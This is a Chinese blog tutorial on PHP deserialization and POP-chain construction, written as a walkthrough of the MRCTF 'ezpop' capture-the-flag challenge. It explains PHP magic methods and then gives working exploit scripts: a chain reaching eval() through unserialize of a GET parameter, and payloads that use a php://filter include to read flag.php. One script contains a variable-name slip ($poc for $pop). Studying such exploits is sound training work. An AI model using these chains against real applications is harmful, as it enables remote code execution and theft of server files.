由MRCTF学习php反序列化--pop链的构造

文章目录

    • 前言
    • 魔法函数
      • __toString()
      • __invoke()
      • __call()和__callStatic()
    • pop链
      • 一个简单的例子
      • MRCTF-ezpop

前言

复现地址:BUUCTF平台
题目:MRCTF-ezpop

魔法函数

__construct():具有构造函数的类在创建新对象时,回调用此方法
__destruct():在对象所有引用都被删除或者对象被销毁时执行
__wakeup():使用unserialize()函数时调用
__sleep():使用serialize()函数时调用
__toString():把类当作字符串时调用,一般在echoprint时才能生效
__invoke():当尝试以调用函数的方式调用对象时,就会调用方法
__set():在给不可访问(protectedprivate)或不存在的属性赋值时, 会被调用
__get():读取不可访问(protectedprivate)或不存在的属性的值时,会被调用
__isset():当对不可访问(protectedprivate)或不存在的属性调用 isset()empty() 时,会被调用
__unset():当对不可访问(protectedprivate)或不存在的属性调用 unset(),会被调用
__call():在对象中调用一个不可访问方法时,__call() 会被调用
__callStatic():在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。

__toString()


// Declare a simple class
class TestClass
{
     
    public $foo;
    public function __construct($foo) 
    {
     
        $this->foo = $foo;
    }
    public function __toString() {
     
        return $this->foo;
    }
}
$class = new TestClass('Hello');
echo $class;
?>class对象被echo时,就会输出调用此方法
注意:PHP 5.2.0 之前,__toString() 方法只有在直接使用于 echoprint 时才能生效。PHP 5.2.0 之后,则可以在任何字符串环境生效(例如通过 printf(),使用 %s 修饰符),但不能用于非字符串环境(如使用 %d 修饰符)。

__invoke()


class CallableClass 
{
     
    function __invoke($x) {
     
        var_dump($x);
    }
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>
输出:int(5)
bool(true)

__call()和__callStatic()


class MethodTest 
{
     
    public function __call($name, $arguments) 
    {
     
        // 注意: $name 的值区分大小写
        echo "Calling object method '$name' "
             . implode(', ', $arguments). "\n";
    }

    public static function __callStatic($name, $arguments) 
    {
     
        // 注意: $name 的值区分大小写
        echo "Calling static method '$name' "
             . implode(', ', $arguments). "\n";
    }
}

$obj = new MethodTest;
$obj->runTest('in object context');

MethodTest::runTest('in static context');
?>
输出
Calling object method 'runTest' in object context
Calling static method 'runTest' in static context

pop链

反序列化可以去控制类的属性和方法,所以通过反序列化可以改变程序原本的意思

pop链的利用
一般简单的反序列化都是魔法函数中出现的一些利用的漏洞,因为自动去调用魔法方法而产生漏洞,但如果关键代码不在魔术方法中,而在一个类的一个普通方法中,则需要通过寻找相同的函数名将类的属性和敏感函数连接起来

一个简单的例子


class lemon {
     
    protected $ClassObj;

    function __construct() {
     
        $this->ClassObj = new normal();
    }

    function __destruct() {
     
        $this->ClassObj->action();
    }
}

class normal {
     
    function action() {
     
        echo "hello";
    }
}

class evil {
     
    private $data;
    function action() {
     
        eval($this->data);
    }
}

unserialize($_GET['d']);

lemon这个类原本是调用,normal类的,但是现在需要调用evil中的eval实现命令执行。而action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法,从而实现命令执行。
payload


class lemon {
     
    protected $ClassObj;
    function __construct() {
     
        $this->ClassObj = new evil();
    }
}
class evil {
     
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
注意protectedprivate属性的处理。

MRCTF-ezpop

源码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5
%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
     
    protected  $var;
    public function append($value){
     
        include($value);
    }
    public function __invoke(){
     
        $this->append($this->var);
    }
}
class Show{
     
    public $source;
    public $str;
    public function __construct($file='index.php'){
     
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"
; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }

我们逆向分析,需要调用Modifier中的include函数,实现对flag.php的包含
采用php://filter/read=convert.base64-encode/resource=flag.php

class Modifier {
     
    protected  $var;
    public function append($value){
     
        include($value);
    }
    public function __invoke(){
     
        $this->append($this->var);
    }
}

需要append函数,就要__invoke函数,当我们尝试将对象调用为函数时,就会自动包含$var,所以也要对$var进行处理

Test类,看到__get(),当我们访问不可访问的属性时,就会调用__get()方法中的$p,这时,我们可以使用$p来引入Modifier类

class Test{
     
    public $p;
    public function __construct(){
     
        $this->p = array();
    }
    public function __get($key){
     
        $function = $this->p;
        return $function();
    }
}

怎么才可以实现访问不可访问的属性呢?
Show类

class Show{
     
    public $source;
    public $str;
    public function __construct($file='index.php'){
     
        $this->source = $file;
        echo 'Welcome to '.$this->source."
"
; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }

show中__toString()属性,可以访问自身属性str的source。
所以我们使用show中的str属性来new一个Test类,而Test类没有source属性,就可以达到__get()方法的实现。
关键代码:return $this->str->source;

那么我们new的Test就会以函数的方式调用 p 那 么 如 果 p那么如果 pp又是一个Modifier类,就会自动包含$var指向的页面。


class Modifier {
     
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
    public function append($value){
     
        include($value);
    }
    public function __invoke(){
     
        $this->append($this->var);
    }
}
class Show{
     
    public $source;
    public $str;
    public function __toString(){
     
        return $this->str->source;
    }
    public function __wakeup(){
     
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
     
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
     
    public $p;
    public function __get($key){
     
        $function = $this->p;
        return $function();
    }
}
$pop = new Show;
$pop->source = new Show;
$pop->source->str = new Test;
$pop->source->str->p = new Modifier;
echo urlencode(serialize($poc));
$pop->source = new Show;
//为什么要new show两次?
//触发__toString(),source被第一层show当作字符串,于是访问source->str->source,也就是Test里面的source(不存在),触发__get

还有个payload,y4爷的


ini_set('memory_limit','-1');
class Modifier {
     
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
     
    public $source;
    public $str;
    public function __construct($file){
     
        $this->source = $file;
        $this->str = new Test();
    }
}

class Test{
     
    public $p;
    public function __construct(){
     
        $this->p = new Modifier();
    }
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));

你可能感兴趣的:(CTF训练日记,php)